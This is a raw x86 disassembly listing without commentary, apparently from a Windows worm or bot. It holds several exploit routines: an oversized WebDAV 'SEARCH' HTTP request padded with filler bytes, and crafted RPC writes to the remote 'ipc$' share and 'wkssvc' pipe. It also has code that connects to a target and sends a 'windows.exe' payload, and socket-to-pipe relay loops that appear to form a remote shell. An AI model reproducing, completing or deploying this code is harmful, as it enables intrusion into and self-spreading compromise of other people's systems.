lea eax, [ebp-0FE8h]
push eax
call sub_40FB31
lea eax, [ebp-15A8h]
push eax
call _strlen
shl eax, 1
movzx edi, ax
add eax, 9
mov [ebp-4], eax
push 1
lea eax, [ebp-4]
push eax
lea eax, [ebp-0FEBh]
push eax
lea edi, [ebp+edi-0FE8h]
call _memcpy
push 8
push offset dword_440B3C
push edi
call _memcpy
xor eax, eax
add edi, 8
mov ax, di
lea ecx, [ebp-1018h]
sub ax, cx
push 1
sub eax, 4
mov [ebp-4], eax
lea eax, [ebp-4]
push eax
lea eax, [ebp-1015h]
push eax
call _memcpy
add esp, 48h
lea eax, [ebp-1018h]
push ebx
sub edi, eax
push edi
mov edi, [ebp-8]
push eax
push edi
call dword_4441A0 ; send
test eax, eax
jl loc_410A2E
push ebx
push esi
lea eax, [ebp-25A8h]
push eax
push edi
call dword_444064 ; recv
cmp eax, 0Ah
jle loc_410A2E
cmp [ebp-259Fh], bl
jnz loc_410A2E
push ebx
push 6Ah
push offset dword_440B48
push edi
call dword_4441A0 ; send
test eax, eax
jl loc_410A2E
push ebx
push esi
lea eax, [ebp-25A8h]
push eax
push edi
call dword_444064 ; recv
cmp eax, 0Ah
jle loc_410A2E
cmp [ebp-259Fh], bl
jnz loc_410A2E
push ebx
push 0A0h
push offset dword_440BB8
push edi
call dword_4441A0 ; send
test eax, eax
jl loc_410A2E
push ebx
push esi
lea eax, [ebp-25A8h]
push eax
push edi
call dword_444064 ; recv
cmp eax, 0Ah
jle loc_410A2E
cmp [ebp-259Fh], bl
jnz loc_410A2E
push esi
lea eax, [ebp-1018h]
push 0FFFFFF90h
push eax
call _memset
push 130h
lea eax, [ebp-1018h]
push offset dword_440C60
push eax
call _memcpy
add esp, 18h
push 4E1Ah
call dword_444260 ; htons
push 158h
mov word_440E62, ax
lea eax, [ebp-0EE8h]
push offset dword_440DA8
push eax
call _memcpy
push 0Ch
lea eax, [ebp-790h]
push offset dword_440D94
push eax
call _memcpy
add esp, 18h
push ebx
push 894h
lea eax, [ebp-1018h]
push eax
push edi
call dword_4441A0 ; send
test eax, eax
jl short loc_410A2E
push ebx
push esi
lea eax, [ebp-25A8h]
push eax
push edi
call dword_444064 ; recv
push 12Ch
call ds:dword_42B014 ; Sleep
push 4A2Dh
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
test al, al
jz short loc_410A2E
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D880[eax]
inc dword ptr [eax]
xor eax, eax
inc eax
jmp short loc_410A30
; ---------------------------------------------------------------------------
loc_410A2E: ; CODE XREF: .text:004106F9j
; .text:0041073Fj ...
xor eax, eax
loc_410A30: ; CODE XREF: .text:00410A2Cj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410A35 proc near ; CODE XREF: .text:00410BC6p
; .text:00410BE7p
Str = byte ptr -210h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 210h
push esi
xor esi, esi
cmp [ebp+arg_BC], esi
push edi
jnz short loc_410A64
push 4 ; Size
push offset dword_440F08 ; Src
push offset byte_440F4D ; Dst
call _memcpy
push 4
push offset dword_440F10
jmp short loc_410A89
; ---------------------------------------------------------------------------
loc_410A64: ; CODE XREF: sub_410A35+13j
cmp [ebp+arg_BC], 1
jnz loc_410BA8
push 4 ; Size
push offset dword_440F18 ; Src
push offset byte_440F4D ; Dst
call _memcpy
push 4 ; Size
push offset dword_440F20 ; Src
loc_410A89: ; CODE XREF: sub_410A35+2Dj
push offset aRrrrrrrrrrrrrr ; ""...
call _memcpy
add esp, 18h
push offset aWindows_exe ; "windows.exe"
push [ebp+arg_0]
call sub_4023C9
pop ecx
push eax ; Str
lea eax, [ebp+Str]
push 200h ; int
push eax ; Dst
call sub_40AE18
add esp, 10h
test eax, eax
jz loc_410BA8
push esi
push 1
push 2
call dword_444100 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_410BA8
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push [ebp+arg_A0]
mov [ebp+Dst], 2
call dword_444260 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+arg_4]
push eax
call dword_44417C ; inet_addr
mov [ebp+var_C], eax
push 10h
lea eax, [ebp+Dst]
push eax
push edi
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz loc_410BA1
push esi
push 85h
push offset dword_440F28
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_410BA1
mov esi, ds:dword_42B014
push 0Ah
call esi ; Sleep
and [ebp+arg_BC], 0
loc_410B47: ; CODE XREF: sub_410A35+146j
lea eax, [ebp+Str]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_410BA1
push 0Ah
call esi ; Sleep
inc [ebp+arg_BC]
cmp [ebp+arg_BC], 7
jl short loc_410B47
push 3E8h
call esi ; Sleep
push edi
call dword_444218 ; closesocket
mov eax, [ebp+arg_A8]
shl eax, 6
lea eax, dword_43D880[eax]
inc dword ptr [eax]
xor eax, eax
inc eax
jmp short loc_410BAA
; ---------------------------------------------------------------------------
loc_410BA1: ; CODE XREF: sub_410A35+E4j
; sub_410A35+FFj ...
push edi
call dword_444218 ; closesocket
loc_410BA8: ; CODE XREF: sub_410A35+36j
; sub_410A35+86j ...
xor eax, eax
loc_410BAA: ; CODE XREF: sub_410A35+16Aj
pop edi
pop esi
leave
retn
sub_410A35 endp
; ---------------------------------------------------------------------------
push esi
push edi
push 0
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [esp+0CCh]
mov edi, esp
rep movsd
call sub_410A35
add esp, 0C0h
push 1
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [esp+0CCh]
mov edi, esp
rep movsd
call sub_410A35
add esp, 0C0h
xor eax, eax
pop edi
inc eax
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=64h
sub_410BF8 proc near ; CODE XREF: .text:00410DC5p
Dst = byte ptr -23950h
var_100D0 = byte ptr -100D0h
var_100CF = byte ptr -100CFh
var_FFB5 = byte ptr -0FFB5h
var_FFB4 = byte ptr -0FFB4h
var_6D0 = byte ptr -6D0h
var_D0 = byte ptr -0D0h
Str = byte ptr -0CCh
var_44 = byte ptr -44h
var_43 = byte ptr -43h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
arg_10 = byte ptr 18h
push ebp
mov eax, 23950h
lea ebp, [esp-64h]
call __alloca_probe
push ebx
push esi
push edi
push 0Ch
pop ecx
xor eax, eax
xor ebx, ebx
mov [ebp+64h+var_44], bl
lea edi, [ebp+64h+var_43]
rep stosd
stosb
mov [ebp+64h+var_100D0], bl
xor eax, eax
mov ecx, 3FFFh
lea edi, [ebp+64h+var_100CF]
rep stosd
stosw
push 22h
pop ecx
push [ebp+64h+arg_8]
stosb
mov esi, offset a?xmlVersion1_0 ; "<?xml version=\"1.0\"?>\r\n<g:searchrequest"...
lea edi, [ebp+64h+Str]
rep movsd
call ds:dword_42B200 ; htons
push [ebp+64h+arg_4]
xor eax, 8080h
mov word_44107F, ax
call dword_444260 ; htons
push [ebp+64h+arg_0]
mov [ebp+64h+var_E], ax
mov [ebp+64h+var_10], 2
call dword_44417C ; inet_addr
push ebx
push 1
push 2
mov [ebp+64h+var_C], eax
call dword_444100 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_410C8C
xor eax, eax
inc eax
jmp loc_410D9F
; ---------------------------------------------------------------------------
loc_410C8C: ; CODE XREF: sub_410BF8+8Aj
push 10h
lea eax, [ebp+64h+var_10]
push eax
push esi
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_410CA5
or eax, eax
jmp loc_410D9F
; ---------------------------------------------------------------------------
loc_410CA5: ; CODE XREF: sub_410BF8+A4j
mov eax, 43434343h
mov ecx, 4000h
lea edi, [ebp+64h+var_100D0]
rep stosd
xor eax, eax
loc_410CB9: ; CODE XREF: sub_410BF8+E2j
cmp eax, 22Dh
jnb short loc_410CDC
mov cl, byte_440FB0[eax]
mov [ebp+eax+64h+var_6D0], cl
inc eax
lea ecx, [eax+0FA00h]
cmp ecx, 10000h
jb short loc_410CB9
loc_410CDC: ; CODE XREF: sub_410BF8+C6j
mov al, [ebp+64h+arg_C]
mov [ebp+64h+var_FFB5], al
mov al, [ebp+64h+arg_10]
push 13880h ; Size
mov [ebp+64h+var_FFB4], al
lea eax, [ebp+64h+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+64h+var_D0], bl
call _memset
push 32h ; Size
lea eax, [ebp+64h+var_44]
push ebx ; Val
push eax ; Dst
call _memset
push [ebp+64h+arg_0]
lea eax, [ebp+64h+var_100D0]
push eax
lea eax, [ebp+64h+Dst]
push offset aSearchSHttp1_1 ; "SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-"...
push eax ; Dest
call _sprintf
lea eax, [ebp+64h+Str]
push eax ; Str
call _strlen
push eax
lea eax, [ebp+64h+Dst]
push eax
push offset aSD_1 ; "%s%d\r\n\r\n"
push eax ; Dest
call _sprintf
add esp, 3Ch
lea eax, [ebp+64h+Dst]
push ebx
push eax ; Str
call _strlen
mov edi, ds:dword_42B210
pop ecx
push eax
lea eax, [ebp+64h+Dst]
push eax
push esi
call edi ; send
lea eax, [ebp+64h+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+64h+Str]
push eax
push esi
call edi ; send
push ebx
push 32h
lea eax, [ebp+64h+var_44]
push eax
push esi
call dword_444064 ; recv
cmp [ebp+64h+var_44], bl
jz short loc_410D93
or edi, 0FFFFFFFFh
jmp short loc_410D96
; ---------------------------------------------------------------------------
loc_410D93: ; CODE XREF: sub_410BF8+194j
xor edi, edi
inc edi
loc_410D96: ; CODE XREF: sub_410BF8+199j
push esi
call dword_444218 ; closesocket
mov eax, edi
loc_410D9F: ; CODE XREF: sub_410BF8+8Fj
; sub_410BF8+A8j
pop edi
pop esi
pop ebx
add ebp, 64h
leave
retn
sub_410BF8 endp
; ---------------------------------------------------------------------------
push esi
push edi
mov edi, offset dword_4411E0
mov esi, 83h
loc_410DB3: ; CODE XREF: .text:00410DDBj
push dword ptr [edi+4]
lea eax, [esp+14h]
push dword ptr [edi]
push esi
push dword ptr [esp+0B8h]
push eax
call sub_410BF8
add esp, 14h
cmp eax, 0FFFFFFFFh
jz short loc_410E23
add edi, 8
cmp edi, offset dword_441240
jle short loc_410DB3
push 1F4h
call ds:dword_42B014 ; Sleep
push esi
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [esp+0CCh]
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
cmp al, 1
jnz short loc_410E23
mov eax, [esp+0B4h]
shl eax, 6
lea eax, dword_43D880[eax]
inc dword ptr [eax]
xor eax, eax
inc eax
jmp short loc_410E25
; ---------------------------------------------------------------------------
loc_410E23: ; CODE XREF: .text:00410DD0j
; .text:00410E0Aj
xor eax, eax
loc_410E25: ; CODE XREF: .text:00410E21j
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_410E28 proc near ; CODE XREF: sub_410F37+C9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
xor edx, edx
cmp [esp+arg_4], edx
jbe short locret_410E58
push esi
mov esi, [esp+4+arg_8]
loc_410E35: ; CODE XREF: sub_410E28+2Dj
mov eax, [esp+4+arg_0]
mov cl, [edx+eax]
mov al, cl
shr al, 4
and cl, 0Fh
add cl, 41h
add al, 41h
mov [esi+edx*2], cl
mov [esi+edx*2+1], al
inc edx
cmp edx, [esp+4+arg_4]
jb short loc_410E35
pop esi
locret_410E58: ; CODE XREF: sub_410E28+6j
retn
sub_410E28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_410E59(int,char,int,__int16,int,size_t Size,int,void *Src,void *Memory,int,char)
sub_410E59 proc near ; CODE XREF: sub_410E59+CDp
; sub_410F37+44Dp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
Size = dword ptr 1Ch
Src = dword ptr 24h
Memory = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_410E6D
or [ebp+arg_7], 1
jmp short loc_410E71
; ---------------------------------------------------------------------------
loc_410E6D: ; CODE XREF: sub_410E59+Cj
and [ebp+arg_7], 0FEh
loc_410E71: ; CODE XREF: sub_410E59+12j
mov ebx, [ebp+Memory]
mov eax, [ebp+arg_24]
lea ecx, [ebx+18h]
cmp ecx, eax
ja short loc_410E92
or [ebp+arg_7], 2
lea eax, [ebx+18h]
mov [ebp+arg_C], ax
mov [ebp+Size], ebx
mov [ebp+arg_2B], 0
jmp short loc_410EA4
; ---------------------------------------------------------------------------
loc_410E92: ; CODE XREF: sub_410E59+23j
mov [ebp+arg_C], ax
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+Size], eax
mov [ebp+arg_2B], 1
loc_410EA4: ; CODE XREF: sub_410E59+37j
movzx eax, [ebp+arg_C]
push eax ; Size
mov [ebp+var_4], eax
call _malloc
test eax, eax
pop ecx
mov [ebp+Memory], eax
jnz short loc_410EBD
loc_410EB9: ; CODE XREF: sub_410E59+A4j
xor al, al
jmp short loc_410F32
; ---------------------------------------------------------------------------
loc_410EBD: ; CODE XREF: sub_410E59+5Ej
push 6
pop ecx
mov edi, eax
lea esi, [ebp+arg_4]
rep movsd
mov edi, [ebp+Size]
mov esi, [ebp+Src]
push edi ; Size
add eax, 18h
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
push 0
lea eax, [ebp+var_8]
push eax
push [ebp+var_4]
push [ebp+Memory]
push [ebp+arg_0]
call ds:dword_42B084 ; WriteFile
test eax, eax
push [ebp+Memory] ; Memory
jnz short loc_410EFF
call _free
pop ecx
jmp short loc_410EB9
; ---------------------------------------------------------------------------
loc_410EFF: ; CODE XREF: sub_410E59+9Cj
call _free
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_410F30
push 0 ; char
push [ebp+arg_24] ; int
sub ebx, edi
push ebx ; Memory
add edi, esi
push edi ; Src
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0] ; int
lea esi, [ebp+arg_4]
rep movsd
call sub_410E59
add esp, 2Ch
jmp short loc_410F32
; ---------------------------------------------------------------------------
loc_410F30: ; CODE XREF: sub_410E59+B0j
mov al, 1
loc_410F32: ; CODE XREF: sub_410E59+62j
; sub_410E59+D5j
pop edi
pop esi
pop ebx
leave
retn
sub_410E59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F37 proc near ; CODE XREF: .text:004113CFp
; .text:004113E5p ...
Str = word ptr -0CC48h
Source = byte ptr -8C48h
var_6C48 = byte ptr -6C48h
Dest = byte ptr -4C48h
var_2C48 = word ptr -2C48h
var_10F0 = dword ptr -10F0h
var_7F4 = byte ptr -7F4h
var_7EF = byte ptr -7EFh
var_7B0 = byte ptr -7B0h
Dst = byte ptr -344h
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_70 = byte ptr -70h
var_6C = byte ptr -6Ch
var_6B = byte ptr -6Bh
var_6A = byte ptr -6Ah
var_69 = byte ptr -69h
var_68 = dword ptr -68h
var_64 = word ptr -64h
var_62 = word ptr -62h
var_60 = dword ptr -60h
var_5C = word ptr -5Ch
var_5A = word ptr -5Ah
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = word ptr -50h
var_4E = byte ptr -4Eh
var_4C = byte ptr -4Ch
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = byte ptr -22h
var_21 = byte ptr -21h
var_20 = dword ptr -20h
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
Memory = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 0CC48h
call __alloca_probe
push ebx
push esi
xor ebx, ebx
push edi
inc ebx
lea eax, [ebp+arg_8]
push ebx
push eax
call sub_41AA0A
cmp eax, 3
pop ecx
pop ecx
jz short loc_410F62
xor eax, eax
jmp loc_4113B2
; ---------------------------------------------------------------------------
loc_410F62: ; CODE XREF: sub_410F37+22j
push 2B3h ; Size
xor esi, esi
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 0DACh ; Size
lea eax, [ebp+var_10F0]
push esi ; Val
push eax ; Dst
call _memset
push 1B58h ; Size
lea eax, [ebp+var_2C48]
push esi ; Val
push eax ; Dst
call _memset
push 0DABh ; Size
lea eax, [ebp+var_10F0]
push 41h ; Val
push eax ; Dst
call _memset
mov edi, [ebp+arg_0]
shl edi, 4
mov eax, dword_441408[edi]
mov ecx, dword_441404[edi]
push 5 ; Size
mov [ebp+eax+var_10F0], ecx
lea eax, [ebp+var_7F4]
push offset aFb ; "fìÐ\a"
push eax ; Dst
call _memcpy
push 3Fh ; Size
lea eax, [ebp+var_7EF]
push offset dword_4413C0 ; Src
push eax ; Dst
call _memcpy
add esp, 48h
lea eax, [ebp+Dst]
push eax
push 159h
push offset dword_441260
call sub_410E28
lea eax, [ebp+Dst]
push eax ; Str
call _strlen
push eax ; Size
lea eax, [ebp+Dst]
push eax ; Src
lea eax, [ebp+var_7B0]
push eax ; Dst
call _memcpy
lea eax, [ebp+Dst]
push eax ; Str
call _strlen
add esp, 20h
mov [ebp+eax+var_7B0], 0
xor eax, eax
loc_41103E: ; CODE XREF: sub_410F37+11Ej
movzx cx, byte ptr [ebp+eax+var_10F0]
mov [ebp+eax*2+var_2C48], cx
inc eax
cmp eax, 0DACh
jb short loc_41103E
lea eax, [ebp+arg_8]
push eax
push offset aS_1 ; "\\\\%s"
lea eax, [ebp+Source]
push 2000h ; Count
push eax ; Dest
call __snprintf
push 2000h ; MaxCount
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Str]
push eax ; Dest
call _mbstowcs
lea eax, [ebp+arg_8]
push offset a__0 ; "."
push eax ; char *
call __stricmp
add esp, 24h
test eax, eax
jz short loc_4110E8
lea eax, [ebp+arg_8]
push eax
push offset aSIpc ; "\\\\%s\\ipc$"
lea eax, [ebp+Dest]
push 2000h ; Count
push eax ; Dest
call __snprintf
push 20h ; Size
lea eax, [ebp+var_90]
push esi ; Val
push eax ; Dst
call _memset
add esp, 1Ch
lea eax, [ebp+Dest]
mov [ebp+var_7C], eax
push esi
mov eax, offset byte_42B633
push eax
push eax
lea eax, [ebp+var_90]
push eax
call dword_4441AC
loc_4110E8: ; CODE XREF: sub_410F37+165j
lea eax, [ebp+arg_8]
push eax
push offset aSPipeWkssvc ; "\\\\%s\\pipe\\wkssvc"
lea eax, [ebp+var_6C48]
push 2000h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
push esi
push esi
push 3
push esi
push 3
push 40000000h
lea eax, [ebp+var_6C48]
push eax
call ds:dword_42B08C ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_41112D
loc_411126: ; CODE XREF: sub_410F37+2ECj
xor edi, edi
jmp loc_4113A5
; ---------------------------------------------------------------------------
loc_41112D: ; CODE XREF: sub_410F37+1EDj
push 48h ; Size
lea eax, [ebp+var_6C]
push esi ; Val
push eax ; Dst
call _memset
push 10h
pop eax
push eax ; Size
mov [ebp+var_68], eax
lea eax, [ebp+var_4C]
push offset dword_433F40 ; Src
push eax ; Dst
mov [ebp+var_6C], 5
mov [ebp+var_6B], 0
mov [ebp+var_6A], 0Bh
mov [ebp+var_69], 3
mov [ebp+var_64], 48h
mov [ebp+var_62], si
mov [ebp+var_60], ebx
mov [ebp+var_5C], 10B8h
mov [ebp+var_5A], 10B8h
mov [ebp+var_58], esi
mov [ebp+var_54], ebx
mov [ebp+var_50], si
mov [ebp+var_4E], 1
mov [ebp+var_3C], ebx
call _memcpy
push 10h ; Size
lea eax, [ebp+var_38]
push offset dword_433F2C ; Src
push eax ; Dst
mov [ebp+var_28], 2
call _memcpy
add esp, 24h
push esi
lea eax, [ebp+var_70]
push eax
push 48h
lea eax, [ebp+var_6C]
push eax
push [ebp+var_8]
call ds:dword_42B084 ; WriteFile
test eax, eax
jz short loc_41121A
lea eax, [ebp+Str]
push eax ; Str
call _wcslen
pop ecx
lea ebx, [eax+eax+12h]
jmp short loc_4111CE
; ---------------------------------------------------------------------------
loc_4111CD: ; CODE XREF: sub_410F37+29Aj
inc ebx
loc_4111CE: ; CODE XREF: sub_410F37+294j
test bl, 3
jnz short loc_4111CD
cmp byte_44140C[edi], 0
jz short loc_4111DF
add ebx, 4
loc_4111DF: ; CODE XREF: sub_410F37+2A3j
lea eax, [ebp+var_2C48]
push eax ; Str
call _wcslen
pop ecx
lea eax, [ebx+eax*2+0Eh]
jmp short loc_4111F3
; ---------------------------------------------------------------------------
loc_4111F2: ; CODE XREF: sub_410F37+2BEj
inc eax
loc_4111F3: ; CODE XREF: sub_410F37+2B9j
test al, 3
jnz short loc_4111F2
add eax, 8
cmp byte_44140C[edi], 0
jz short loc_411208
add eax, 4
jmp short loc_41120A
; ---------------------------------------------------------------------------
loc_411208: ; CODE XREF: sub_410F37+2CAj
inc eax
inc eax
loc_41120A: ; CODE XREF: sub_410F37+2CFj
push eax ; Size
mov [ebp+Memory], eax
call _malloc
mov ebx, eax
cmp ebx, esi
pop ecx
jnz short loc_411228
loc_41121A: ; CODE XREF: sub_410F37+281j
push [ebp+var_8]
call ds:dword_42B004 ; CloseHandle
jmp loc_411126
; ---------------------------------------------------------------------------
loc_411228: ; CODE XREF: sub_410F37+2E1j
push [ebp+Memory] ; Size
push esi ; Val
push ebx ; Dst
call _memset
push 4 ; Size
push offset dword_441250 ; Src
push ebx ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _wcslen
inc eax
mov [ebx+0Ch], eax
mov [ebx+4], eax
lea eax, [ebp+Str]
push eax ; Source
lea eax, [ebx+10h]
push eax ; Dest
mov [ebx+8], esi
call _wcscpy
lea eax, [ebp+Str]
push eax ; Str
call _wcslen
lea eax, [eax+eax+12h]
add esp, 28h
test al, 3
mov [ebp+var_4], eax
jz short loc_411287
loc_41127F: ; CODE XREF: sub_410F37+34Bj
inc eax
test al, 3
jnz short loc_41127F
mov [ebp+var_4], eax
loc_411287: ; CODE XREF: sub_410F37+346j
cmp byte_44140C[edi], 0
jz short loc_4112A6
push 4 ; Size
add eax, ebx
push offset dword_441258 ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
add [ebp+var_4], 4
loc_4112A6: ; CODE XREF: sub_410F37+357j
lea eax, [ebp+var_2C48]
push eax ; Str
call _wcslen
mov ecx, [ebp+var_4]
inc eax
mov [ecx+ebx+8], eax
mov [ecx+ebx], eax
mov [ecx+ebx+4], esi
add ecx, 0Ch
lea eax, [ebp+var_2C48]
mov [ebp+var_4], ecx
push eax ; Source
add ecx, ebx
push ecx ; Dest
call _wcscpy
lea eax, [ebp+var_2C48]
push eax ; Str
call _wcslen
mov ecx, [ebp+var_4]
lea eax, [ecx+eax*2+2]
add esp, 10h
test al, 3
mov [ebp+var_4], eax
jz short loc_4112FB
loc_4112F3: ; CODE XREF: sub_410F37+3BFj
inc eax
test al, 3
jnz short loc_4112F3
mov [ebp+var_4], eax
loc_4112FB: ; CODE XREF: sub_410F37+3BAj
push 8 ; Size
add eax, ebx
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+var_4]
add esp, 0Ch
add eax, 8
cmp byte_44140C[edi], 0
jz short loc_41131D
mov [eax+ebx], esi
jmp short loc_411323
; ---------------------------------------------------------------------------
loc_41131D: ; CODE XREF: sub_410F37+3DFj
mov word ptr [eax+ebx], 1
loc_411323: ; CODE XREF: sub_410F37+3E4j
push 18h ; Size
lea eax, [ebp+var_24]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
xor ecx, ecx
xor eax, eax
inc eax
cmp byte_44140C[edi], cl
push eax ; char
push 10B8h ; int
push [ebp+Memory] ; Memory
setnz cl
push ebx ; Src
sub esp, 18h
push 6
mov [ebp+var_1A], si
mov [ebp+var_10], si
mov [ebp+var_24], 5
lea ecx, [ecx+ecx+19h]
mov [ebp+var_E], cx
pop ecx
mov edi, esp
push [ebp+var_8] ; int
mov [ebp+var_23], 0
mov [ebp+var_22], 0
mov [ebp+var_21], 3
mov [ebp+var_20], 10h
mov [ebp+var_18], eax
lea esi, [ebp+var_24]
rep movsd
call sub_410E59
add esp, 2Ch
xor edi, edi
test al, al
jz short loc_411393
inc edi
loc_411393: ; CODE XREF: sub_410F37+459j
push [ebp+var_8]
call ds:dword_42B004 ; CloseHandle
push ebx ; Memory
call _free
pop ecx
xor esi, esi
loc_4113A5: ; CODE XREF: sub_410F37+1F1j
push esi
push esi
push [ebp+var_7C]
call dword_4440D8
mov eax, edi
loc_4113B2: ; CODE XREF: sub_410F37+26j
pop edi
pop esi
pop ebx
leave
retn
sub_410F37 endp
; ---------------------------------------------------------------------------
push esi
push edi
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
lea esi, [esp+0C8h]
push 1
rep movsd
call sub_410F37
pop ecx
push 2Fh
pop ecx
mov edi, esp
lea esi, [esp+0C8h]
push 1
rep movsd
call sub_410F37
add esp, 0C0h
push 1F4h
call ds:dword_42B014 ; Sleep
push 7C7h
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [esp+0CCh]
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
cmp al, 1
jnz short loc_41143A
mov eax, [esp+0B4h]
shl eax, 6
lea eax, dword_43D880[eax]
inc dword ptr [eax]
xor eax, eax
inc eax
jmp short loc_41143C
; ---------------------------------------------------------------------------
loc_41143A: ; CODE XREF: .text:00411421j
xor eax, eax
loc_41143C: ; CODE XREF: .text:00411438j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
push esi
push edi
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
lea esi, [esp+0C8h]
push 0
rep movsd
call sub_410F37
pop ecx
push 2Fh
pop ecx
mov edi, esp
lea esi, [esp+0C8h]
push 0
rep movsd
call sub_410F37
add esp, 0C0h
push 1F4h
call ds:dword_42B014 ; Sleep
push 7C7h
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [esp+0CCh]
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
cmp al, 1
jnz short loc_4114C2
mov eax, [esp+0B4h]
shl eax, 6
lea eax, dword_43D880[eax]
inc dword ptr [eax]
xor eax, eax
inc eax
jmp short loc_4114C4
; ---------------------------------------------------------------------------
loc_4114C2: ; CODE XREF: .text:004114A9j
xor eax, eax
loc_4114C4: ; CODE XREF: .text:004114C0j
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4114C7 proc near ; DATA XREF: sub_411555+158o
var_404 = byte ptr -404h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_4114D0: ; CODE XREF: sub_4114C7+25j
; sub_4114C7+41j
push 0
push 400h
lea eax, [ebp+var_404]
push eax
push dword_4D5250
call dword_444064 ; recv
test eax, eax
jle short loc_4114D0
push 0
lea ecx, [ebp+var_4]
push ecx
push eax
lea eax, [ebp+var_404]
push eax
push dword_4D5248
call ds:dword_42B084 ; WriteFile
jmp short loc_4114D0
sub_4114C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41150A proc near ; DATA XREF: sub_411555+13Fo
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_411513: ; CODE XREF: sub_41150A+2Fj
; sub_41150A+49j
and [ebp+var_4], 0
push 0
lea eax, [ebp+var_4]
push eax
push 400h
lea eax, [ebp+var_404]
push eax
push dword_4D524C
call ds:dword_42B080 ; ReadFile
cmp [ebp+var_4], 0
jle short loc_411513
push 0
push [ebp+var_4]
lea eax, [ebp+var_404]
push eax
push dword_4D5250
call dword_4441A0 ; send
jmp short loc_411513
sub_41150A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_411555 proc near ; DATA XREF: sub_40274D+2AF2o
var_11C = byte ptr -11Ch
var_98 = dword ptr -98h
var_7C = dword ptr -7Ch
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
Dst = word ptr -38h
var_36 = word ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
